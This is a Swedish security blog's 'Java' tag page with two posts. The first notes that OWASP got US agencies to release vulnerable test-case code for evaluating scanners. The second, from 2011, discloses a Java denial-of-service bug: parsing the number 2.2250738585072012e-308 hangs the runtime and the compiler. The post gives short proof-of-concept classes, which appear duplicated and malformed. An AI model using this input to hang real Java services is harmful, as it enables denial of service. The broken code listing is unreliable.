Jeff Williams, ordförande i OWASP har lyckats övertyga mydigheter i USA att tillgängliggöra de sårbara kodexempel de använder för att utvärdera analys- och skanningsverktyg.
13.782 testfall i Java som täcker 106 CWE:er
45.309 testfall i C/C++ som täcker 116 CWE:er
Kodexemplen hittar ni här.
Visar inlägg med etikett Java. Visa alla inlägg
Visar inlägg med etikett Java. Visa alla inlägg
onsdag 30 mars 2011
tisdag 1 februari 2011
DoS:a Java med en siffra
Ni kanske läste inlägget om att DoS:a PHP med en siffra? Nu åker Java dit också (se Rick Regans och Konstantin Preissers bloggpost). Följande försätter Java i en oändlig loop:
Och följande hänger kompilatorn:
Vill ni testa? Bara att klona från BitBucket med Mercurial:
$ hg clone https://bitbucket.org/johnwilander/dosjava
Eller ladda hem en zip:
https://bitbucket.org/johnwilander/dosjava/downloads
... och sen köra "java RunHang" för att hänga Java eller "javac CompilerHang.java" för att hänga kompilatorn.
public class RunHang {
_public static void main(String[] args) {
_public static void main(String[] args) {
__System.out.println("Test:");
__double d = Double.parseDouble("2.2250738585072012e-308");
__System.out.println("Value: " + d);
_}
}
}
Och följande hänger kompilatorn:
public class CompilerHang {
_public static void main(String[] args) {
__double d = 2.2250738585072012e-308;
__System.out.println("Value: " + d);
_}
}
}
Vill ni testa? Bara att klona från BitBucket med Mercurial:
$ hg clone https://bitbucket.org/johnwilander/dosjava
Eller ladda hem en zip:
https://bitbucket.org/johnwilander/dosjava/downloads
... och sen köra "java RunHang" för att hänga Java eller "javac CompilerHang.java" för att hänga kompilatorn.
Prenumerera på:
Inlägg (Atom)